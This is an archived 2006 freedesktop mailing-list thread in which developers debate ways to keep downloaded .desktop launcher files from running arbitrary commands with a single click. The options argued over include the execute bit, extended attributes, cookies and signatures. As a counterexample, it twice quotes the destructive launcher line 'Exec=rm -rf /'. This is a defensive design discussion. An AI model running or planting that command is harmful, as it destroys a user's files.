> * .desktop files cannot rely on their icon to fool the user
Requiring +x on a desktop file a) doesn't solve the problem, and b)
certainly does not change what icon actually is set in the .desktop
file. Users are going to just get into the habit of always doing chmod
+x, as we have already been doing for perl/python/etc... scripts that
we download off the web.
> I don't see anything to be fixed in the 'evaluation semantics of Exec'
> that would help solve this problem. Maybe if you have a concrete
> proposal that can be discussed further. When writing your proposal,
> please keep in mind that it must be flexible enough to allow stuff like
I don't mean to write a proposal to change the semantics of Exec. It was
a suggestion as a method for actually solving the real problem, instead
of just sticking our heads in the sand and pretending like the +x bit is
going to make all the problems go away. We need to either actually fix
the problem, or stop overreacting about it. A .desktop file that simply
removes all your files is not a realistic attack these days. One that
sends your private gpg/ssh/etc... data off to some remote site or sets
up your machine to be a relay for spamhosts or other attacks against
other people, are much more realistic. People are more interested in
stealing your data or using your machine for stealing other people's
data, than simply destroying your data any more. And these attacks do
not really make sense for someone to do with a .desktop file. Most users
run fairly insecure machines as it is. The .desktop file attack method
just does not seem all that realistic to me, and people on this list are
overreacting to the potential threat of it happening, and blindly diving
for some simple-to-implement method that will make it not particularly
any harder for an attack to still work, but will make you think the
problem is no longer there.
Setting +x is not a solution, it's a problem.
-- dobey
From: Francois Gouget
Date: 2006-04-12 16:13:51
Rodney Dawes wrote:
> On Wed, 2006-04-12 at 14:46 +0200, Francois Gouget wrote:
>
>>In order to run an executable one must have the execute permissions for
>>that executable. Whether you like it or not .desktop files are
>>executables and, as such, running them ('opening' them in desktop
>>parlance) should require that you have the relevant execute permissions.
>>
>>Requiring +x on .desktop files also makes it possible to add an emblem
>>to the icon of those that lack it, and/or to issue a warning when the
>>user tries to run them. Thus this also protects users from .desktop
>>files that have a misleading icon.
>
> It doesn't prevent the .desktop file from having a misleading icon at
> all. You're not changing the semantics of what goes in the Icon field.
There is no need to change the specification of the Icon field. As I
said the desktop environment can overlay an emblem that identifies the
file as untrusted which makes it easy to differentiate the undtrusted
.desktop file from whatever type of file it is trying to pass off as. If
an emblem is not enough, the desktop environment could ignore the
.desktop icon entirely for files that don't have the +x permission.
There are two categories of .desktop files:
* those installed by the system, typically as part of KDE, Gnome or
third party software. Those are trusted. They should be able to have any
icon they want with no overlaying emblem. And they should also be able
to run any command they want without pesky warnings.
* and then there is those that got downloaded off the internet or come
from other untrusted sources. Those must not be allowed to execute
without a warning to the user. We also don't want them to be able to
show any icon they want, or we at least want to overlay an emblem of
some sort to avoid confusion.
The one question is: how do we distinguish .desktop files from the first
category from .desktop files from the second category.
Four solutions have been proposed:
1) Define and use an 'Untrusted' Extended Attributes
----------------------------------------------------
Mechanism:
Require that applications actively set this Extended Attribute to
files coming from untrusted sources. Then the desktop environment and
related applications would check for this attribute and treat such files
appropriately.
Pros/Cons:
* Requires a modification of the browser, email clients, etc to put
this attribute on downloaded files.
* A mount option could automatically add this extended attribute to
all files coming from other untrusted sources like usb keys, floppy
disks, etc.
* Extended attributes are fragile in that tar does not preserve them
(currently), many file systems don't support them, etc.
* Requires further modifications to tools like tar so files
extracted from untrusted archives 'inherit' the untrusted attribute,
unless a special command line option is specified. Same thing for cp,
mv, etc.
* This is independent from the traditional permission bits and thus
can be used for any type of file, including office documents or whatever
presents the slightest risk.
* Probably hard to manage.
* Might be a long term solution but it will take years to put in place.
2) Use the +x permission bit
----------------------------
Mechanism:
In this scheme .desktop files that are missing the +x bit are
considered untrusted. This relies on the fact that downloaded .desktop
files don't have the +x bit set and can thus be treated in a special way.
Pros/Cons:
* Requires no modification of browsers, email clients, etc since
they should already not be putting the +x permission on downloaded files.
* Requires modifications to the desktop environments and file
managers so they check the +x bit on .desktop files and take appropriate
action.
* Requires modifications to the packages shipping .desktop files so
they have the +x execute bit. Fortunately there is no technical obstacle
to that.
* Mount options make it possible to decide whether material stored
on a filesystem that does not support Unix permissions will be treated
as trusted or not. This takes care of USB keys, floppies, Windows
partitions, etc.
* Makes sense independently of any security consideration because
.desktop files are equivalent to shell scripts: they are text files
whose primary purpose is to start applications and that can run
arbitrary commands. As an added bonus, if they start with
'#!/usr/bin/xdg-open' they can also be run from the command line.
* An attacker could ship the .desktop file in an archive so that
extracting that archive would create a .desktop file with the +x
permission set. The same scenario can happen with shell scripts and ELF
binaries too, except that the .desktop file would be displayed with
whatever icon it wants. This scenario still requires an extra step
before the user can run the .desktop file, rather than just an
accidental click.
3) Add a cookie
---------------
Mechanism:
Add a Cookie field to .desktop files. This field would contain a
hard to predict value specific to the computer or user, for instance the
hexadecimal representation of a random 128bit number. At least one
cookie is needed. That cookie would would be generated when installing
the OS, would be stored in /etc/xdg-cookie for instance. Only .desktop
files containing this cookie would be trusted.
This mechanism relies on the fact that the attacker cannot predict
the value of the cookie so that his .desktop files would either be
missing that field, or have the wrong value, thus identifying them as
untrusted.
A variant would add a secondary per-user cookie to protect the
system's users from each other. Note that this requires that the system
cookie be only considered valid for .desktop files that belong to root
and that the secondary cookie only be considered valid if the .desktop
file belongs to the user.
Pros/Cons:
* Makes it impossible to ship prebuilt .desktop files in software
packages such as Debian or RPM. All .desktop files would have to be
modified at install time which is a significant change from the current
situation. Such files would also be reported as different from the copy
that shipped in the RPM/Debian packages. That would make tools such as
debsums and rpm --verify much less useful.
* Makes it impossible to put /usr/share on an NFS filesystem and
share it for multiple systems unless those systems all use the same cookie.
* Works on any filesystem.
4) Sign the .desktop files
--------------------------
Mechanism:
Add a Signature field to .desktop files and use it to store a
cryptographic signature of part or all of the other .desktop file
fields. Since this relies on the attacker not being able to generate a
valid signature for his .desktop file, this requires each computer to
have a unique key.
Pros/Cons:
* Like for cookies, this makes it impossible to ship prebuilt
.desktop files in software packages such as Debian or RPM.
* Like for cookies, this makes it impossible to easily put
/usr/share on an NFS filesystem.
* Works on any filesystem.
* Can also detect modifications to .desktop files though this seems
of limited value.
[...]
> Users are going to just get into the habit of always doing chmod
> +x, as we have already been doing for perl/python/etc... scripts that
> we download off the web.
So you want to tackle the problem of users chmoding scripts they
download from the web too? Good luck!
[...]
> I don't mean to write a proposal to change the semantics of Exec. It was
> a suggestion as a method for actually solving the real problem, instead
> of just sticking our heads in the sand and pretending like the +x bit is
> going to make all the problems go away. We need to either actually fix
> the problem, or stop overreacting about it.
So you're not proposing to change the semantic of the Exec field after
all. Good because no change to it is going to do anything to solve the
problem.
> A .desktop file that simply
> removes all your files is not a realistic attack these days.
You're missing the point which was that simple command can do harm and
that determining whether a command is harmless or not requires
intelligence and knowledge, both of which computers are lacking.
--
Francois Gouget
<email removed>
From: Egbert van der Wal
Date: 2006-04-12 08:56:24
>>> We need to fix the evaluation semantics of Exec, not write a bunch of
>>> easily-avoidable workarounds.
>>>
>> I don't see anything to be fixed in the 'evaluation semantics of Exec'
>> that would help solve this problem. Maybe if you have a concrete
>> proposal that can be discussed further. When writing your proposal,
>> please keep in mind that it must be flexible enough to allow stuff like
>>
>> Exec=/opt/cxoffice/bin/wine --workdir "C:////Program Files////QuickTime
>> " --check --cx-app "C:////Program
>> Files////QuickTime////QuickTimePlayer.exe"
>>
>> (all on one line of course) while not allowing
>>
>> Exec=rm -rf /
>>
>
> While fixing the evaluation semantics of the Exec field would of course
> be the best solution, it might be too complicated to get this right.
> But, as suggested earlier, we could add some kind of signature to the
> .desktop files, which allows applications to tell whether a .desktop
> file can be trusted or not.
>
>
And who is going to attach these signatures?
I would say a more appropriate approach would be to classify the command
in a few cases:
1) The command executed is a program/script in the user's home-directory
or some other user-writable location(which increases the risk of it
being malware)
2) The command executed is an program/script in /bin, which are
generally more dangerous than other executables(rm, mv and others reside
there)
3) The command executed is a program/script in /usr/bin, which are
generally(but not always ofcourse) safer to use.
This would of course introduce a need to extract the real command from
the exec-line in the .desktop file but that shouldn't be too hard.
Anyway, I think +x is more a nuisance than improved safety. As the
situation now is, .desktop files aren't more executable than .sh files
without a +x bit set; those too can be executed by doing 'sh script.sh',
same as .desktop files with a different parser.
-- Egbert
From: Francois Gouget
Date: 2006-04-12 16:22:44
Egbert van der Wal wrote:
[...]
> I would say a more appropriate approach would be to classify the command
> in a few cases:
> 1) The command executed is a program/script in the user's home-directory
> or some other user-writable location(which increases the risk of it
> being malware)
> 2) The command executed is an program/script in /bin, which are
> generally more dangerous than other executables(rm, mv and others reside
> there)
> 3) The command executed is a program/script in /usr/bin, which are
> generally(but not always ofcourse) safer to use.
This simply won't work. It will get it wrong at the very least 50% of
the time and any action taken on this will thus irritate and be ignored
by users. Determining whether a command is safe or not requires
intelligence and knowledge, neither of which a computer has.
> As the
> situation now is, .desktop files aren't more executable than .sh files
> without a +x bit set; those too can be executed by doing 'sh script.sh',
> same as .desktop files with a different parser.
A .sh file that does not have the +x bit set cannot be run by clicking
on it in a file browser or on the desktop.
A .desktop file does run in that case.
--
Francois Gouget
<email removed>
From: Thiago Macieira
Date: 2006-04-12 12:21:29
Egbert van der Wal wrote:
>3) The command executed is a program/script in /usr/bin, which are
>generally(but not always ofcourse) safer to use.
Like /usr/bin/perl or /usr/bin/env?
--
Thiago Macieira - thiago (AT) macieira.info - thiago (AT) kde.org
thiago.macieira (AT) trolltech.com Trolltech AS
GPG: 0x6EF45358 | Sandakerveien 116,
E067 918B B660 DBD1 105C | NO-0402
966C 33F5 F005 6EF4 5358 | Oslo, Norway
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 191 bytes
Desc: not available
Url : \
http://lists.freedesktop.org/archives/x … chment.pgp
From: Francois Gouget
Date: 2006-04-12 05:46:40
Rodney Dawes wrote:
> Better yet, let's not encourage people to turn .desktop files into
> scripts. As has been expressed MANY times in this thread, requiring +x
> and a special tool that doesn't evaluate Exec any differently thatn we
> are currently evaluating Exec, doesn't solve the problem. It is very
> easy to ship a .desktop file to someone that is already +x.
In order to run an executable one must have the execute permissions for
that executable. Whether you like it or not .desktop files are
executables and, as such, running them ('opening' them in desktop
parlance) should require that you have the relevant execute permissions.
Requiring +x on .desktop files also makes it possible to add an emblem
to the icon of those that lack it, and/or to issue a warning when the
user tries to run them. Thus this also protects users from .desktop
files that have a misleading icon.
Sure there are many ways to make a .desktop file executable. But that's
completely besides the point, because once we require +x on .desktop
files they represent no more of a threat than shell scripts and ELF
binaries. So any solution to that particular problem must also take care
of those otherwise it is useless. By the way, such a solution exists, it
relies on Extended Attributes, and as has been said before will take a
long time before it can really be deployed.
So to summarize the current situation:
* .desktop files are the only type of executable that can be run with
a single click immediately after download
* they can specify a misleading icon to fool the user
And after the we require .desktop files to have +x:
* .desktop files cannot be run without special action by the user
* .desktop files cannot rely on their icon to fool the user
> We need to fix the evaluation semantics of Exec, not write a bunch of
> easily-avoidable workarounds.
I don't see anything to be fixed in the 'evaluation semantics of Exec'
that would help solve this problem. Maybe if you have a concrete
proposal that can be discussed further. When writing your proposal,
please keep in mind that it must be flexible enough to allow stuff like
Exec=/opt/cxoffice/bin/wine --workdir "C:////Program Files////QuickTime
" --check --cx-app "C:////Program \
Files////QuickTime////QuickTimePlayer.exe"
(all on one line of course) while not allowing
Exec=rm -rf /
--
Francois Gouget
<email removed>
xorg-xdg